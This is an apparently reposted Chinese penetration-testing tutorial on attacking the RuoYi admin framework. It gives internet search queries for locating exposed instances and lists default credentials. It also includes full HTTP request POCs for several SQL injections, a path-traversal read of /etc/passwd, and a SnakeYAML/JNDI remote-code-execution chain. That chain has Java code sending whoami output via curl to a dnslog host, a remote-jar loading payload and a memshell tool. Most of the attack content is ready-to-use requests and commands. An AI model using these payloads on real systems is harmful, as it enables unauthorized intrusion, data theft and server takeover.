Kali Linux

若依常见漏洞一把梭(上)

2026-06-26 #网络安全#渗透测试#Kali Linux#若依

来源: https://mp.weixin.qq.com/s/lMss5FGUxjyIyIQ4aH-4Mw

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号陌笙不太懂安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

前言

前面是环境搭建,漏洞复现看后面。太长了,分两篇写。

系统简介

Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。

若依有很多版本,其中使用最多的是:

  • Ruoyi单应用版本(RuoYi)
  • Ruoyi前后端分离版本(RuoYi-Vue)
  • Ruoyi微服务版本(RuoYi-Cloud)
  • Ruoyi移动版本(RuoYi-App)

配合ruoyi的服务

  • alibaba druid
  • alibaba nacos
  • spring
  • redis
  • mysql
  • minio
  • fastjson
  • shiro
  • swagger-ui.html
  • mybatis

若依服务


环境搭建

源码下载

https://gitee.com/y_project/RuoYi/tags

下载源码

基本配置

IDEA + 配置Maven + mysql + 若依源码v4.5

navicat连接本地数据库,创建数据库ry,然后运行数据库文件

配置1

创建数据库

创建数据库

运行sql文件

运行sql1

运行sql2

运行sql3

导入sql数据库成功之后,有这些内容就是成功了。

导入成功

修改若依配置文件中的MySQL数据库的账号密码。

修改配置

使用idea启动若依项目即可,若依服务启动后默认在本地的80端口。

启动项目

启动成功

启动成功

出现问题看这个,我主要也是看这个文章复现的:

https://windeskybb.work/archives/


若依框架特征

新版本的若依系统的cookie值是Admin-Token值且是JWT编码的,右边的是老版本的,就是jsessionid值。

cookie特征

/prod-api接口,其实看若依系统多的师傅们都这到这个接口就是若依框架的常见的一个关键字接口。

prod-api


资产测绘

fofa

1
2
3
4
5
6
黑若依: icon_hash="-1231872293"
绿若依: icon_hash="706913071"
body="请通过前端地址访问"
body="认证失败,无法访问系统资源"

(icon_hash="-1231872293" || icon_hash="706913071" || body="请通过前端地址访问" || body="认证失败,无法访问系统资源")

fofa

hunter

1
2
3
4
web.body="若依后台管理系统"
web.icon=="e49fd30ea870c7a820464ca56a113e6e"

web.body="若依后台管理系统" || web.icon=="e49fd30ea870c7a820464ca56a113e6e"

hunter


漏洞一:弱口令&未授权

常见用户名:

  • admin
  • ruoyi
  • druid
  • ry

常见密码:

  • 123456
  • admin
  • druid
  • admin123
  • admin888

常见组合:

  • admin:admin123
  • ry:admin123

常见页面:

登录页1

登录页2

后台:

后台

若依系统最经典的加载界面:

加载界面

这种绿色的ico,蓝色的ico都是若依:

ico特征

如果没有这个ico,可以看接口,有可能是被魔改了,这两个接口是若依的特征:

接口特征

若依和Spring-Boot结合漏洞

1
2
3
4
5
6
7
8
9
10
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html

直接未授权:

druid未授权

登录框:

口令一般是:

  • admin/123456
  • ruoyi/123456
  • druid/druid

druid登录

Swagger接口:

1
2
3
4
5
6
7
8
9
/swagger/
/swagger-ui.html
/swagger.json
/swagger-resources
/api/swagger
/api/swagger-ui.html
/api-docs
/v1/swagger.json
/api/v1/api-docs

swagger

可以使用插件探测:

插件探测

也可以直接使用曾哥的工具:

工具


漏洞二:SQL注入漏洞

(注意:后阶段所有操作都需要修改登录后的JSESSIONID值)

都是POST请求方式

第一个sql注入点:角色管理

/system/role/list 接口的 params[dataScope] 参数

进入后台后,拦截角色管理页面的请求包:

角色管理

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=d621ef68-145a-42d4-921e-e1ccde616ec1
Connection: keep-alive

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

sql注入1

sql注入2

空参构造包发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 76
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=d621ef68-145a-42d4-921e-e1ccde616ec1
Connection: keep-alive

&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

空参注入

第二个sql注入点:角色修改接口

角色修改

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 113
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=d621ef68-145a-42d4-921e-e1ccde616ec1
Connection: keep-alive

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

sql注入3

第三个sql注入点:角色导出处

角色导出

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=3b7b5296-0d29-41b0-9e35-1f718cb1e104
Connection: keep-alive

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

导出注入

RuoYi 4.7.5版本后台sql注入

ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController/tool/gen/createTable 路由存在sql注入。

POC

1
sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e))

4.7.5注入


漏洞三:后台任意文件读取(CNVD-2021-01931)

漏洞简介

若依管理系统是基于springboot的权限管理系统,登录后台后可以读取服务器上的任意文件。

影响版本:RuoYi < 4.5.1

漏洞复现

POC

1
2
/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini

文件读取1

1
http://127.0.0.1/common/download/resource?resource=/profile/../../../../Windows/win.ini

文件读取2


漏洞四:后台定时任务RCE (Snake Yaml反序列化)

漏洞简介

RuoYi < 4.6.2

由于若依后台计划任务处,对于传入的”调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。

影响版本:RuoYi < 4.6.2

通常只要引用了Snakeyaml包的几乎都可进行反序列化,可查看代码是否调用 new Yaml();

(ruoyi-common-pom.xml)

snakeyaml

下载yaml反序列化payload工具:

该工具是通过 org.yaml.snakeyaml.Yaml 类来加载远程的类,通过远程类重写 AwesomeScriptEngineFactory 类,以此来达到执行远程恶意命令的目的。

下载完工具后将 src/artsploit/AwesomeScriptEngineFactory.java 文件中的Runtime执行语句改为你要执行的命令:

修改命令

地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)。除此之外,我们需要使用 $() 命令替换,用于命令回显,因此我们改写一下命令执行函数。

漏洞复现

下载payload:https://github.com/artsploit/yaml-payload

下载完成之后修改 AwesomeScriptEngineFactory.java 这个文件:

修改文件

eg: curl http://192.168.91.129:7000?CMDEcho=$(whoami)

地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)。除此之外,我们需要使用 $() 命令替换,用于命令回显,因此我们改写一下命令执行函数。改写方法如下:

1
2
3
4
5
6
String[] cmd = {
"/bin/bash",
"-c",
"curl http://9eiju8.dnslog.cn?echo=$(whoami)"
};
Runtime.getRuntime().exec(cmd);

然后切换到yaml-payload-master目录,编写 yaml-payload.yml 文件(如果没有自己创建):

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://192.168.10.17:5555/yaml-payload.jar"]
]]
]

yml文件

yml文件2

(此处IP替换为VPS或需要反弹shell的ip和端口)

然后在该目录下执行以下命令进行编译(java环境使用的是1.8):

编译

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java  //编译java文件
jar -cvf yaml-payload.jar -C src/ . //打包成jar包

打包

然后就会生成一个 yaml-payload.jar 的jar包,直接在yaml-payload-master目录下使用python起一个http服务。

1
python -m http.server 5555 --bind 0.0.0.0

http服务

1
http://192.168.10.17:5555/yaml-payload.jar

然后进入若依后台,添加一个计划任务。

出网探测

1
2
3
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://DNSLOG"]]]]')

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://hq5nuu.dnslog.cn"]]]]')

exp

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.10.17:5555/yaml-payload.jar"]]]]')

cron表达式说明

1
cron表达式:0/10 * * * * ?

这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间。

分解表达式0/10 * * * * ?

  • 格式:秒 分 时 日 月 星期 [年(可选)]
  • 0/10 — 从 0 秒开始,每 10 秒执行一次(0,10,20,30,40,50 秒)
  • * — 每分钟
  • * — 每小时
  • * — 每天
  • * — 每月
  • 星期 ? — 不指定星期(通常与日期字段冲突时使用 ? 表示忽略)
  • 年 没有指定(所以每年)

配置好之后,并不会启动定时任务:

定时任务1

定时任务2

定时任务3

推荐使用工具

https://github.com/Bl0omZ/JNDIEXP

1
java -jar JNDIInject-1.2-SNAPSHOT.jar -i xxx.xxx.xxx.xxx
1
2
3
4
PS C:\Users\xuSheng\Desktop\若依> java -jar .\JNDIInject-1.2-SNAPSHOT.jar -i 0.0.0.0 -p 9090
[+] HTTP Server Start Listening on 9090...
Listening on 0.0.0.0:1389
memshellKEY: ck4Gr4Qi

工具使用

使用这个更简单:

1
javax.naming.InitialContext.lookup('ldap://10.165.132.209:1389/snakeyaml/http://10.165.132.209:9090/exp.jar')

文章转载自微信公众号:陌笙不太懂安全

评论
分享